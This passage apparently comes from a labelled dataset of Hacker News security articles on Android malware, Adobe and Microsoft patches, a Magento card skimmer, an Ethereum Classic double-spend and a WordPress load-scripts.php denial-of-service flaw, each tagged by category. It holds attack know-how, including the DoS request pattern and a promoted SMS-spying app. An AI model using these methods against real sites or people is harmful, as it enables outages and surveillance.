Once installed, Xhelper doesn't provide a regular user interface; instead, it gets installed as an application component that doesn't show up on the device's application launcher in an attempt to remain hidden from the users.

In order to launch itself, Xhelper relies on some external events triggered by users, like connecting or disconnecting the infected device from a power supply, rebooting a device, or installing or uninstalling an app.

Once launched, the malware connects to its remote command-and-control server over an encrypted channel and downloads additional payloads such as droppers, clickers, and rootkits on the compromised Android devices.

""We believe the pool of malware stored on the C&C server to be vast and varied in functionality, giving the attacker multiple options, including data theft or even complete takeover of the device,"" the researchers say.

The researchers believe that the source code of Xhelper is still a work in progress, as some of its ""older variants included empty classes that were not implemented at the time, but the functionality is now fully enabled.""

The Xhelper malware has been seen targeting Android smartphone users primarily in India, the United States, and Russia.

Though many antivirus products for Android detect the Xhelper malware, they are yet not able to permanently remove or block it from getting itself reinstalled on the infected devices.

Since the source of the malware is still unclear, Android users are recommended to take simple but effective precautions like:

keep devices and apps up-to-date,
avoid app downloads from unfamiliar sources,
always pay close attention to the permissions requested by apps,
frequently back up data, and
install a good antivirus app that protects against this malware and similar threats.

",Malware
Android Hackers will demonstrate Fully loaded Spying Applications & Mobile Botnet,https://thehackernews.com/2012/07/android-hackers-will-demonstrate-fully.html,"This Sunday, The Capital , New Delhi plays host to an International The Hackers Conference where blackhat hackers will discuss the challenges of cyber safety with security agencies.

Your Smartphone is an always-on and always-connected digital extension of your life which will be used by attackers to covertly steal your sensitive data and spy on you. Mahesh, An Independent Security Researcher and Android Developer/Hacker will demonstrate ""Android Spy Agent"".

This application allows us to remotely access the entire victim's personal information and even though the confidential data available in the android cell phone. The type of personal information includes the victim's contacts, call logs, messages, browser's history, GPS location and much more information directly available on the victim's cell phone.

Many-a-times we think that is there any way by which we can read the private sms of anyone. So here is the solution Mr. Mahesh will present in The Hackers Conference 2012 platform with Hundreds of advance features.

This application can also allow the attacker to remotely delete the data available on the victim's phone. In order to perfectly work this application you have to gain access to the victim's android cell phone for at least 20 seconds. You have to install the application and then restart the cell phone. After restart your application gets automatically started on the victim's cell phone. Now you can access the victim's cells information for any normal cell phone and get the response on it. The android spy agent will be hidden in the victim's cell phone and not allows the victim to easily uninstall or delete it from the cell.

In Another Talk Android Hacker Aditya Gupta and Subho Halder will talk about ""All your Droids belong to me : A look into Mobile Security in 2012"". Researchers have developed and will Demonstrate malware for Android phones that can be used as a spam botnet.

""The talk is about Android Malwares, Botnets and all the crazy stuff you have been hearing in the past. We will give an inside view on how the black hat underground uses this, to earn 5-6 digit income per month . For this, We will start off by creating an Android Malware, and then will gradually move on to the Botnet Part."", Aditya Gupta said.

Maintaining that a wide variety of services are being offered on the mobile platforms without proper security implementation, Anurag Kumar Jain and Devendra Shanbhag from Tata Consultancy Services will deliberate on the topic, ""Mobile Application Security Risk and Remediation"". They will highlight the need for application security in mobile applications, the threats in a mobile environment, key security issues that can creep in mobile applications, and suggests a secure development approach which can possibly safeguard mobile applications from becoming ""sitting ducks"" for attackers and mobile malware.

Experts from countries like Iran and Argentina will share space with Indian speakers in the day-long discussion at the India Habitat Centre. Yet another important issue The Hackers Conference 2012 will deliberate on is the Internet censorship in India.

For more details, go to www.thehackersconference.com

",Malware
"Adobe Releases Critical Patches for Flash, Acrobat Reader, and Media Encoder",https://thehackernews.com/2019/05/adobe-software-updates.html,"Adobe today released its monthly software updates to patch a total of 87 security vulnerabilities in its Adobe Acrobat and Reader, Flash Player and Media Encoder, most of which could lead to arbitrary code execution attacks or worse.

None of the flaws patched this month in Adobe products has been found exploited in the wild.

Out of 87 total flaws, a whopping number of vulnerabilities (i.e., 84 in total) affect Adobe Acrobat and Reader applications alone, where 42 of them are critical and rest 42 are important in severity.

Upon successful exploitation, all critical vulnerabilities in Adobe Acrobat and Reader software lead to arbitrary code execution, allowing attackers to take complete control over targeted systems.

Adobe has released updated versions of Acrobat and Reader software for Windows and macOS operating systems to address these security vulnerabilities.

The update for Adobe Flash Player, which will receive security patch updates until the end of 2020, comes this month with a patch for just one security vulnerability( CVE-2019-7837), which is critical in severity and affects Windows, macOS, Linux, and Chrome OS versions of the software.

The third Adobe product that received patches this month is Media Encoder, a powerful tool that allows users to compress audio and/or video files to be played back across browsers and devices.

Adobe has released Media Encoder version 13.1 that addresses two security vulnerabilities, one of which is critical (CVE-2019-7842) and leads to remote code execution while the second is an information disclosure flaw.

Users of affected Adobe software for Windows, macOS, Linux, and Chrome OS are urged to update their software packages to the latest versions as soon as possible.

If your system hasn't yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe Acrobat and Reader software.

",Vulnerability
Warning — 5 New Trojanized Android Apps Spying On Users In Pakistan,https://thehackernews.com/2021/01/warning-5-new-trojanized-android-apps.html,"Cybersecurity researchers took the wraps off a new spyware operation targeting users in Pakistan that leverages trojanized versions of legitimate Android apps to carry out covert surveillance and espionage.
Designed to masquerade apps such as the Pakistan Citizen Portal, a Muslim prayer-clock app called Pakistan Salat Time, Mobile Packages Pakistan, Registered SIMs Checker, and TPL Insurance, the malicious variants have been found to obfuscate their operations to stealthily download a payload in the form of an Android Dalvik executable (DEX) file.
""The DEX payload contains most of the malicious features, which include the ability to covertly exfiltrate sensitive data like the user's contact list and the full contents of SMS messages,"" Sophos threat researchers Pankaj Kohli and Andrew Brandt said.
""The app then sends this information to one of a small number of command-and-control websites hosted on servers located in eastern Europe.""
Interestingly, the fake website of the Pakistan Citizen Portal was also prominently displayed in the form of a static image on the Trading Corporation of Pakistan (TCP) website, potentially in an attempt to lure unsuspecting users into downloading the malware-laced app.
Visiting the TCP website (tcp.gov.pk) now shows the message ""Down for Maintenance.""
Besides the aforementioned apps, Sophos researchers also discovered a separate app called Pakistan Chat that didn't have a benign analogue distributed via the Google Play Store. But the app was found to leverage the API of a legitimate chat service called ChatGum.
Once installed, the app requests intrusive permissions, including the ability to access contacts, file system, location, microphone, and read SMS messages, which allow it to gather a wide swathe of data on a victim's device.
All these apps have one singular purpose — to conduct covert surveillance and exfiltrate the data from a target device. In addition to sending the unique IMEI identifier, the DEX payload relays detailed profile information about the phone, location information, contact lists, the contents of text messages, call logs and the full directory listing of any internal or SD card storage on the device.
Troublingly, the malicious Pakistan Citizen Portal app also transmits sensitive information such as users' computerized national identity card (CNIC) numbers, their passport details, and the username and password for Facebook and other accounts.
""The spying and covert surveillance capability of these modified Android apps highlight the dangers of spyware to smartphone users everywhere,"" Pankaj Kohli said. ""Cyber-adversaries target mobiles not just to get their hands on sensitive and personal information, but because they offer a real-time window into people's lives, their physical location, movements, and even live conversations taking place within listening range of the infected phone.""
If anything, the development is yet another reason why users need to stick to trusted sources to download third-party apps, verify if an app is indeed built by a genuine developer, and carefully scrutinize app permissions before installation.
""In the current Android ecosystem, apps are cryptographically signed as a way to certify the code originates with a legitimate source, tying the app to its developer,"" the researchers concluded. ""However, Android doesn't do a good job exposing to the end user when a signed app's certificate isn't legitimate or doesn't validate. As such, users have no easy way of knowing if an app was indeed published by its genuine developer.""
""This allows threat actors to develop and publish fake versions of popular apps. The existence of a large number of app stores, and the freedom of users to install an app from practically anywhere makes it even harder to combat such threats.""

",Malware
Anonymous threatened Estonian government with a possible cyber attack,https://thehackernews.com/2012/10/anonymous-threatened-estonian.html,"Anonymous Hackers AnonSwedenOp posted a video on YouTube on October 8 where it threatened the Estonian government with a possible cyber attack.

""Estonian government had sacrificed its own people instead of helping its own people, Estonian government has channelled money to helping Greece that is much better off.""

""Estonia says that it doesn't have money but then they give 357 million to Greece,"" the statement declares.

Anonymous Group will most probably attack on Friday, October 12, according to video and this attack will go as Operation #OpEstonia.

The the end of the Video, Hacker with the promise: ""This must end. Estonian people, we haven't forgotten you"".

Anonymous Hacker last week took down the website of Swedish central bank also and this attack can also be on high rate, if they get possible massive number of attacks.


Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Cyber_Attack
XSS attack on CIA (Central Itelligence Agency) Website by lionaneesh,https://thehackernews.com/2011/06/xss-attack-on-cia-central-itelligence.html,"XSS attack on CIA (Central Itelligence Agency) Website by lionaneesh
After Ddos attack on CIA (Central Itelligence Agency) website by Lulzsec, lionaneesh, an Indian hacker have found XSS Vulnerability on same site as shown. The Vulnerabile link is here . You can join Loinaneesh on Twitter.

",Vulnerability
Ethereum Classic (ETC) Hit by Double-Spend Attack Worth $1.1 Million,https://thehackernews.com/2019/01/ethereum-double-spend-attack.html,"Popular cryptocurrency exchange Coinbase has suspended all transactions of Ethereum Classic (ETC)—the original unforked version of the Ethereum network—on their trading platforms, other products and services after detecting a potential attack on the cryptocurrency network that let someone spend the same digital coins twice.

Why is this attack concerning? The heist resulted in the loss of $1.1 million worth of the Ethereum Classic digital currency. The digital currency immediately fell in price after the news came out.

Coinbase revealed Monday that it identified ""a deep chain reorganization"" of the Ethereum Classic blockchain (or 51 percent attack of the network), which means that someone controlling the majority of miners on the network (over 50%) had modified the transaction history.

After reorganizing the Ethereum blockchain, the attackers were able to what's called ""double spend"" about 219,500 ETC by recovering previously spent coins from the rightful recipients and transferring them to new entities chosen by attackers (typically a wallet in their control).

""We observed repeated deep reorganizations of the Ethereum Classic blockchain, most of which contained double spends,"" Coinbase security engineer Mark Nesbitt said in a blog post. ""The total value of the double spends that we have observed thus far is 219,500 ETC (~$1.1M).""

Coinbase identified the deep chain reorganization of the Ethereum Classic blockchain on January 5, at which point the firm halted on-chain ETC payments in order to safeguard its customer funds and the cryptocurrency exchange itself.

An update on status.coinbase.com reads: ""Due to unstable network conditions on the Ethereum Classic network, we have temporarily disabled all sends and receives for ETC. Buy and sell is not impacted. All other systems are operating normally.""

It's worth noting that this incident was not a one-time event, as the attacks are apparently ongoing.
Initially, Coinbase identified nine reorganizations containing double spends, amounted to 88,500 ETC (about $460,000), but the latest update on its blog post suggests that at least 12 additional reorganizations included double spends, totaling 219,500 ETC (nearly $1.1Million).

At the time, it is not clear whom the attackers targeted, but Coinbase reassured its customers that the cryptocurrency exchange itself had not been the target of these attacks and that no customer funds were lost.

Initially, Ethereum Classic denied the Coinbase claims, saying that the ETC network appeared to be ""operating normally,"" but hours later it confirmed the ""successful 51% attack"" on the Ethereum Classic network with ""multiple"" block reorganizations.

However, Ethereum Classic said that Coinbase did not contact ETC personnel regarding the attack and added that the investigation is an ""ongoing process.""

Since it is incredibly difficult or perhaps virtually impossible to mount such attacks against heavily-mined cryptocurrency networks like Bitcoin and Ethereum, attackers chose to target small-cap cryptocurrencies like Ethereum Classic, Litecoin Cash, Bitcoin Gold, ZenCash (now Horizen), and Verge.

Created in June 2016, Ethereum Classic is the 18th-largest cryptocurrency with a market cap of over half a billion dollars (around $539 million), which makes it an attractive target for attackers.

",Cyber_Attack
Have a D-Link Wireless Router? You might have been Hacked,https://thehackernews.com/2015/02/hacking-dlink-wireless-router.html,"The popular DSL wireless router model from D-Link are allegedly vulnerable to a software bug that could allow remote hackers to modify the DNS (Domain Name System) settings on affected routers and to hijack users' traffic.

The main goal of DNS hijacking is to secretly redirect user's traffic from a legitimate websites to a malicious one controlled by hackers. The vulnerability might also affects other devices because it is located in the same, widely-used wireless router firmware used by different manufacturers.

Bulgarian security researcher Todor Donev discovered the flaw which exists in a widely deployed ZynOS firmware from ZyXEL Communications Corporation, that is used in network hardware from TP-Link Technologies, ZTE and D-Link.

According to the security researcher, D-Link's popular DSL2740R wireless router and a number of other D-Link routers, particularly the DLS-320B, are vulnerable.

Late last year, similar router vulnerability was discovered in the web server ""RomPager"" from AllegroSoft, which is typically embedded into the firmware of routers, modems and other ""gateway devices"" from about every leading manufacturer.

The flaw put 12 million homes and offices routers from a variety of different manufacturers vulnerable to DNS hijacking attack, which also included kit from D-Link, along with Edimax, Huawei, TP-Link, ZTE, and ZyXEL.

The latest bug discovered in wireless routers running the vulnerable firmware could reveal their internal web servers to the open Internet, and according to an email from Donev, this could allow a remote attacker to configure the devices without authentication to access its administrative interface.

Donev claimed that once attackers succeeded in modifying systems' DNS settings, they could perform a handful of malicious tasks, including:
Redirecting unknown users to malicious sites – These sites could lead victim to a phishing page that could masquerade as a well-known site in order to trick users into handing out their personal and sensitive information.
Replacing advertisements on legitimate sites – Hackers could manipulate ads that users see, replacing legitimate ads with malicious ones on the sites they visit.
Controlling and redirecting network traffic – Hackers could also prevent users of infected systems from receiving important operating system updates and other software and security updates.
Pushing additional malware – Attackers could directly push malware onto the infected systems.
In order to exploit the router vulnerability, a malicious hacker would have to either be on the router's network or the wireless router would have to be publicly accessible. Now that administrative interface is exposed to the Internet, the risk of exploitation is higher.

But even if the wireless router is accessible within the local area network, hackers can still use Cross-Site Request Forgery (CSRF), a technique which involves gaining access to local networks by sending specific HTTP requests to a LAN IP address that usually associates with the wireless router.

Donev released the details of the D-Link wireless router vulnerability publicly without notifying the affected vendors. He has also published a proof-of-concept exploit for the D-Link DSL-2740R, a dual-function ADSL modem/wireless router device. As of now, this particular device has been discontinued from sale but is still supported.

",Vulnerability
Google engineers Warn Of Serious Unpatched Adobe Reader Flaws,https://thehackernews.com/2012/08/google-engineers-warn-of-serious.html,"Adobe has missed dozens of vulnerabilities in Reader in this week's Patch Tuesday run according to Google engineers who reported the flaws. Sixteen vulnerabilities still affected the Windows and Mac OS X versions, while 31 critical and ""trivially exploitable"" bugs were found in the Linux application.

Of particular concern to Google's Mateusz Jurczyk and Gynvael Coldwind are bugs in Reader for Linux, although other issues affect versions for Windows and OS X. For the Linux version, which went completely unpatched, Adobe and Google have been working together to counter 14 ""new unique crashes"" and nine ""test-cases"" that were potentially exploitable for remote code execution.

When Adobe released a new version of Reader for Windows and Mac OS X earlier this week, it patched 12 vulnerabilities, but another 16 remained unpatched. Jurczyk and Coldwind decided to come forward with information on those flaws in the interest of user safety, as Adobe has no plans to issue additional out of band updates before 27 August.
""Considering that fixing the first twenty four crashes took twelve unique code fixes, it is expected that the remaining crashes might represent around eight more unique problems. Adobe plans to fix these remaining bugs and issue an update for the Linux version of Reader in an upcoming release,"" the Google researchers said.

Adobe released new versions of Adobe Acrobat, Reader, Shockwave, and Flash to patch security holes in those products as well.

Check out the details of the Microsoft and Adobe security bulletins to figure out which ones apply to you, and prioritize the patches that are most critical or have the greatest potential to impact your PCs.

",Vulnerability
Why Protecting Your Magento Ecommerce Website Is So Damn Important,https://thehackernews.com/2015/04/Magento-website-security.html,"The Market of E-commerce websites is at its peak, as today people love to shop online to save their time. However, E-commerce and financial sites stand first in the rundown of potential victims as they manage financial exchanges.

The traditional way to target victims of e-commerce sites is to use targeted ""phishing"" attacks via social media and emails. But…

…due to increased awareness among the people about the threat of phishing attacks, hackers have now discovered new way — by malvertising legitimate websites where people assume to be safe and secure.

We know:

Today, there are many ready-to-use e-commerce platforms available on the Internet that are very easy to install and manage and that too at no extra cost; 'Magento' is one of the most popular out of them.

The most popular, the most targeted:

Yes! Security researchers at Sucuri have found a malicious code inside the Magento e-commerce website that was intended to send all the data submitted by a customer amid checkout procedure to a third-party site, here ""soulmagic .biz .fozzyhost .com/add.""

Hackers have added 50 extra lines of code in the:
app/code/core/Mage/Payment/Model/Method/Cc.php file inside the prepareSave() function, which you can see below:
What actually happens behind the scene?

Like most Magento sites, the site scanned by the researchers had a checkout form that asks for customers' credit card details.

However, Magento encrypts this information and saves it, and sends it to the payment gateway in order to complete users' transaction.

But, at the moment between the checkout form submission and encryption of the user's payment details when Magento handles customer's sensitive information in a plain text, the code injected by hackers send this unencrypted data to third-party address.

Not only Magento sites are targeted:

Researchers also found a very similar code being injected by hackers into the Joomla Donation extension in Joomla websites in order to send customers' credit card information to the hackers using ""java-e-shop .com/add.""

Moreover, all e-commerce solutions, including CMS, plugin, and extension, are equally susceptible to this kind of cyber attack in the event they request customers' credit card details directly on a site, instead of redirecting them to a payment gateway.

Because:

It's so easy for a hacker to add a few lines of malicious code in the legitimate code of the website in an effort to dump customer's sensitive details to a noxious third-party.

However, customers of online store aren't the only target, either:
""When hackers manage to compromise an e-commerce site, the owners of the website can be robbed too,"" researchers at Sucuri wrote.
There are a known number of cases where hackers replace the PayPal account of website owner with their own account. As a result, every time a customer buys something, the site owner would ""never receive the funds.""

The bottom line:

Online Shoppers can protect themselves against this threat by following these steps:
Don't enter your payment details on the websites that offer their own page. Instead prefer the sites that redirect you to a payment gateway provided by PayPal, payment gateway or bank to complete the transaction.
Only use your Credit Cards with additional levels of authentication. Use payment cards that support additional security layers, like Visa 3-D Secure, or MasterCard SecureCode, or your bank's own 2FA service.
Check the website for any security issue. This can be done by either surfing the Internet or simply check Google's SafeBrowsing information for the website using this link: https://www.google.com/safebrowsing/diagnostic?site=example.com, where example.com is the domain name of the site you want to check.
Owners of E-commerce website can protect themselves against this threat by following these steps:
Don't allow customers to process payment details on your site. Outsource the payments to trusted third-party service such as PayPal, Stripe or Google Wallet, so that if hackers compromise your site they cannot be able to steal your customers' credit card details.
Use best practices with your website security, including strong and unique passwords for every element of your site, actively maintain and update your website firewall, and monitor your website for security issues.
Be Proactive. If your website is hacked, get help immediately as you cannot put both your customers' money as well as your reputation at risk.

",Malware
Unpatched DoS Flaw Could Help Anyone Take Down WordPress Websites,https://thehackernews.com/2018/02/wordpress-dos-exploit.html,"A simple yet serious application-level denial of service (DoS) vulnerability has been discovered in WordPress CMS platform that could allow anyone to take down most WordPress websites even with a single machine—without hitting with a massive amount of bandwidth, as required in network-level DDoS attacks to achieve the same.

Since the company has denied patching the issue, the vulnerability (CVE-2018-6389) remains unpatched and affects almost all versions of WordPress released in last nine years, including the latest stable release of WordPress (Version 4.9.2).

Discovered by Israeli security researcher Barak Tawily, the vulnerability resides in the way ""load-scripts.php,"" a built-in script in WordPress CMS, processes user-defined requests.

For those unaware, load-scripts.php file has only been designed for admin users to help a website improve performance and load page faster by combining (on the server end) multiple JavaScript files into a single request.

However, to make ""load-scripts.php"" work on the admin login page (wp-login.php) before login, WordPress authors did not keep any authentication in place, eventually making the feature accessible to anyone.

Depending upon the plugins and modules you have installed, the load-scripts.php file selectively calls required JavaScript files by passing their names into the ""load"" parameter, separated by a comma, like in the following URL:
https://your-wordpress-site.com/wp-admin/load-scripts.php?c=1&load=editor,common,user-profile,media-widgets,media-gallery
While loading the website, the 'load-scripts.php' (mentioned in the head of the page) tries to find each JavaScript file name given in the URL, append their content into a single file and then send back it to the user's web browser.

How WordPress DoS Attack Works
According to the researcher, one can simply force load-scripts.php to call all possible JavaScript files (i.e., 181 scripts) in one go by passing their names into the above URL, making the targeted website slightly slow by consuming high CPU and server memory.
""There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user,"" Tawily says.
Although a single request would not be enough to take down the whole website for its visitors, Tawily used a proof-of-concept (PoC) python script, doser.py, which makes large numbers of concurrent requests to the same URL in an attempt to use up as much of the target servers CPU resources as possible and bring it down.

The Hacker News has verified the authenticity of the DoS exploit that successfully took down one of our demo WordPress websites running on a medium-sized VPS server.
""It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so. After ~500 requests, the server didn't respond at all any more, or returned 502/503/504 status code errors,"" Tawily says.
However, attack from a single machine, with some 40 Mbps connection, was not enough to take down another demo website running on a dedicated server with high processing power and memory.

But that doesn't mean the flaw is not effective against WordPress websites running over a heavy-server, as application-level attack generally requires a lot fewer packets and bandwidth to achieve the same goal—to take down a site.

So attackers with more bandwidth or a few bots can exploit this flaw to target big and popular WordPress websites as well.

No Patch Available – Mitigation Guide
Along with the full disclosure, Tawily has also provided a video demonstration for the WordPress Denial of Service attack. You can watch the video to see the attack in action.

Knowing that DoS vulnerabilities are out-of-scope from the WordPress bug bounty program, Tawily responsibly reported this DoS vulnerability to the WordPress team through HackerOne platform.

However, the company refused to acknowledge the issue, saying that this kind of bug ""should really get mitigated at the server end or network level rather than the application level,"" which is outside of WordPress's control.

The vulnerability seems to be serious because WordPress powers nearly 29 percent of the Web, placing millions of websites vulnerable to hackers and making them unavailable for their legitimate users.

For websites that can't afford services offering DDoS protection against application-layer attacks, the researcher has provided a forked version of WordPress, which includes mitigation against this vulnerability.

However, I personally wouldn't recommend users to install modified CMS, even if it is from a trusted source other than the original author.

Besides this, the researcher has also released a simple bash script that fixes the issue, in case you have already installed WordPress.

",Vulnerability
iScanner - Tool to detect and remove malicious codes and web page,https://thehackernews.com/2011/09/iscanner-tool-to-detect-and-remove.html,"iScanner - Tool to detect and remove malicious codes and web page
iScanner is a free open source tool lets you detect and remove malicious codes and web page malwares from your website easily and automatically. iScanner will not only show you the infected files in your server but it's also able to clean these files by removing the malware code ONLY from the infected files.
Current Features:

Ability to scan one file, directory or remote web page / website.
Detect and remove website malwares and malicious code in web pages. This include hidden iframe tags, javascript, vbscript, activex objects, suspicious PHP codes and some known malwares.
Extensive log shows the infected files and the malicious code.
Support for sending email reports.
Ability to clean the infected web pages automatically.
Easy backup and restore system for the infected files.
Simple and editable signature based database.
You can easily send malicious file to iScanner developers for analyzes.
Ability to update the database and the program easily from iScanner's server.
Very flexible options and easy to use.
Fast scanner with great performance.
Yes, it's FREE!!
Download iScanner

",Malware
Gazer: A New Backdoor Targets Ministries and Embassies Worldwide,https://thehackernews.com/2017/08/gazer-backdoor-malware.html,"Security researchers at ESET have discovered a new malware campaign targeting consulates, ministries and embassies worldwide to spy on governments and diplomats.

Active since 2016, the malware campaign is leveraging a new backdoor, dubbed Gazer, and is believed to be carried out by Turla advanced persistent threat (APT) hacking group that's been previously linked to Russian intelligence.

Gazer, written in C++, the backdoor delivers via spear phishing emails and hijacks targeted computers in two steps—first, the malware drops Skipper backdoor, which has previously been linked to Turla and then installs Gazer components.

In previous cyber espionage campaigns, the Turla hacking group used Carbon and Kazuar backdoors as its second-stage malware, which also has many similarities with Gazer, according to research [PDF] published by ESET.

Gazer receives encrypted commands from a remote command-and-control server and evades detection by using compromised, legitimate websites (that mostly use the WordPress CMS) as a proxy.
Instead of using Windows Crypto API, Gazer uses custom 3DES and RSA encryption libraries to encrypt the data before sending it to the C&C server—a common tactic employed by the Turla APT group.

Gazer uses code-injection technique to take control of a machine and hide itself for a long period of time in an attempt to steal information.

Gazer backdoor also has the ability to forward commands received by one infected endpoint to the other infected machines on the same network.

So far ESET researchers have identified four different variants of the Gazer malware in the wild, primarily spying on Southeast European and former Soviet bloc political targets.

Interestingly, earlier versions of Gazer were signed with a valid certificate issued by Comodo for ""Solid Loop Ltd,"" while the latest version is signed with an SSL certificate issued to ""Ultimate Computer Support Ltd.""

According to researchers, Gazer has already managed to infect a number of targets worldwide, with the most victims being located in Europe.

Meanwhile, Kaspersky lab has also published almost similar details about Gazer backdoor, but they called it 'Whitebear' APT campaign.

",Cyber_Attack
"Android Adware abusing permissions, Collecting more than they need",https://thehackernews.com/2012/10/android-adware-abusing-permissions.html,"So you just bought a new Android-based smartphone, what comes next? What else but the most exciting part downloading the right apps to boost its functionality. Android gives you the freedom to personalize your device, which has made it attractive to those who want their smartphones to be as unique as possible

""Many apps will ask you to grant them network access so they can download updates. Others seek permission to read your phone's state and identity so calls won't disrupt them from doing what they're doing. Unfortunately, these permissions can be abused for criminal intentions."" Trendmicro said in report.

Before android applications was abusing permissions to access user's personal data, but now new generations of adware targeting Android smartphones are increasingly violating user privacy by grabbing personal information and using it without permission.

Adware is software that is used to gather information about the users. This information is sent to advertising agencies who are the people who planted the adware in the first place. Adware displays an advertisement in the form of pop ups or text messages. When you click on the advertisement, you will be redirected to a browser that will open the link to the advertisers' site. When you visit the site, your data will be logged into the advertisers' server. We have no way of ensuring that adware is within its legal limitations while collecting data about you. The procedure is very simple.

Although most adware is designed to collect some user information, the line between legitimate data gathering and violating privacy is starting to blur. The process becomes a privacy issue when app developers take more information than they originally asked for and then sell it to ad networks.
Here is a list of the data leaked from the Android device and sent to the servers of the company behind this module:
The device's IP address on all interfaces (i.e., both WiFi and mobile network)
The device's ANDROID_ID (unique 64-bit identifier for the device)
The Android OS version
The user's location, as determined by GPS
The user's mobile network and their country code
The user's phone number
The device's unique ID (their IMEI, MEID, or ESN)
The device's manufacturer and version
Based on information from MARS and Google Play, at least 7,000 free apps use this particular advertising module. 80% of them are still available, and at least 10% of them have been downloaded more than one million times.

In addition to taking the user's personal information, these ads also display advertising in particularly annoying ways. Either notifications or an icon on the device's home screen are used to serve ads to users. Users should be careful about all mobile apps they download, wherever they come from.

",Malware
ISPs Caught Injecting Cryptocurrency Miners and Spyware In Some Countries,https://thehackernews.com/2018/03/cryptocurrency-spyware-malware.html,"Governments in Turkey and Syria have been caught hijacking local internet users' connections to secretly inject surveillance malware, while the same mass interception technology has been found secretly injecting browser-based cryptocurrency mining scripts into users' web traffic in Egypt.

Governments, or agencies linked to it, and ISPs in the three countries are using Deep Packet Inspection technology from Sandvine (which merged with Procera Networks last year), to intercept and alter Internet users' web traffic.

Deep packet inspection technology allows ISPs to prioritize, degrade, block, inject, and log various types of Internet traffic, in other words, they can analyze each packet in order to see what you are doing online.

According to a new report by Citizen Lab, Turkey's Telecom network was using Sandvine PacketLogic devices to redirect hundreds of targeted users (journalists, lawyers, and human rights defenders) to malicious versions of legitimate programs bundled with FinFisher and StrongPity spyware, when they tried to download them from official sources.
""This redirection was possible because official websites for these programs, even though they might have supported HTTPS, directed users to non-HTTPS downloads by default,"" the report reads.

A similar campaign has been spotted in Syria, where Internet users were silently redirected to malicious versions of the various popular application, including Avast Antivirus, CCleaner, Opera, and 7-Zip applications bundled with government spyware.

In Turkey, Sandvine PacketLogic devices were being used to block websites like Wikipedia, the sites of the Dutch Broadcast Foundation (NOS) and Kurdistan Workers' Party (PKK).

ISPs Injected Cryptocurrency Mining Scripts Into Users' Web Browsers
However, in Egypt, Sandvine PacketLogic devices were being used by a Telecom operator for making money by:
Secretly injecting a cryptocurrency mining script into every HTTP web page users visited in order to mine the Monero cryptocurrency,
Redirecting Egyptian users to web pages with affiliate ads.
In Egypt, these devices were also being used to block access to human rights, political, and news outlets like Al Jazeera, HuffPost Arabic, Reporters Without Borders, and Mada Masr, as well as NGOs like Human Rights Watch.

Citizen Lab researchers reported Sandvine of their findings, but the company called their report ""false, misleading, and wrong,"" and also demanded them to return the second-hand PacketLogic device they used to confirm attribution of their fingerprint.

Citizen Lab started this investigation in September last year after ESET researchers published a report revealing that the downloads of several popular apps were reportedly compromised at the ISP level in two (unnamed) countries to distribute the FinFisher spyware.

",Cyber_Attack
Microsoft to Issue 16 Security Patches and 60 Other Updates,https://thehackernews.com/2014/11/microsoft-to-issue-16-security-patches_9.html,"Microsoft has this time quite a big pile of security patches in its November 2014 Patch Tuesday, which will address almost 60 non-security updates for its Windows OS along with 16 security updates.

The software giant released Advance Notification for 16 security bulletins, the most in more than three years, which will be addressed as of tomorrow, 11 November, 2014. Five of the bulletins have been marked as ""critical"", nine are ""important"" in severity, while two were labeled ""moderate.""

The updates will patch vulnerabilities in Microsoft's various software including Internet Explorer (IE), Windows, Office, Exchange Server, SharePoint Server and the .NET framework as well.

Five critical vulnerabilities affect specific versions of Microsoft Windows, including Windows 7, Windows 8, Windows RT, and Windows Server. One of them also affects Internet Explorer versions 7 through 11 as well.

Four of the five critical bugs are said to allow remote code execution, meaning that successful hackers could hijack a system and install malicious softwares on the victim's machine, while the last could allow an attacker to gain administrative privilege on a vulnerable machine.
""A vulnerability whose exploitation could allow code execution without user interaction. These scenarios include self-propagating malware (e.g. network worms), or unavoidable common use scenarios where code execution occurs without warnings or prompts. This could mean browsing to a web page or opening email,"" is how Microsoft describes a critical patch.
Another nine patches are rated as ""important"", which are not as severe as the critical ones but should still be installed in order to keep your systems safe. These affect Microsoft Windows, Office and Microsoft Exchange.

Five of the nine important updates will patch ""elevation of privilege"" vulnerabilities, two others fix the OS security features bypass vulnerabilities, one addresses Remote Code Execution bug, while the other one plugs an information leak.

Last two patches are rated as ""moderate"", which indicates a much lower risk, but should still be installed by the users. One of them addresses a denial of service flaw in Microsoft Windows, while the other patches an Elevation of Privilege bug.

If you have Automatic Updates enabled on your machine, these fixes will all be made available via Windows Update and will be applied automatically for most users. But in case users have not enabled it, Microsoft is encouraging them to apply the updates promptly. Some patches applied may require restarting the servers as well.

",Vulnerability
"Hackers breach Twitter and 250,000 accounts compromised",https://thehackernews.com/2013/02/hackers-breach-twitter-and-250000.html,"In recent The Hacker News updates, we have reported about some major hacking events and critical vulnerabilities i.e Cyber attack and spying on The New York Times and Wall Street Journal by Chinese Hackers, Security Flaws in UPnP protocol, Botnet attack hack 16,000 Facebook accounts, 700,000 accounts hacked in Africa and new android malware that infect more that 620,000 users.

Today Twitter also announced that they have recorded some unusual access patterns that is identified as unauthorized access attempts to Twitter user data. Unknown hackers breach Twitter this week and may have gained access to passwords and other information for as many as 250,000 user accounts

""the attackers may have had access to limited user information – usernames, email addresses, session tokens and encrypted/salted versions of passwords"" said Bob Lord ,Director of Information Security, at Twitter.

For security reasons twitter have reset passwords and revoked session tokens for these suspected compromised accounts. ""This attack was not the work of amateurs and we do not believe it was an isolated incident,"" he added.

""The attackers were extremely sophisticated and we believe other companies and organisations have also been recently similarly attacked.""

Twitter have not mention that how hackers were able to infiltrate Twitter's systems, but Twitter's blog post alluded that hackers had broken in through a zero day vulnerability in Oracle's Java software.

Some media portals also relate this attack to Hacktivist Anonymous Group incorrectly, because twitter itself no where mention anything about who is attacker! If you are not using good password hygiene, take a moment now to change your Twitter passwords.

",Cyber_Attack
Critical Print Spooler Bug allows Attackers to Hack any version of Microsoft Windows,https://thehackernews.com/2016/07/printer-security-update.html,"Microsoft's July Patch Tuesday offers 11 security bulletins with six rated critical resolving almost 50 security holes in its software.

The company has patched a security flaw in the Windows Print Spooler service that affects all supported versions of Windows ever released, which if exploited could allow an attacker to take over a device via a simple mechanism.

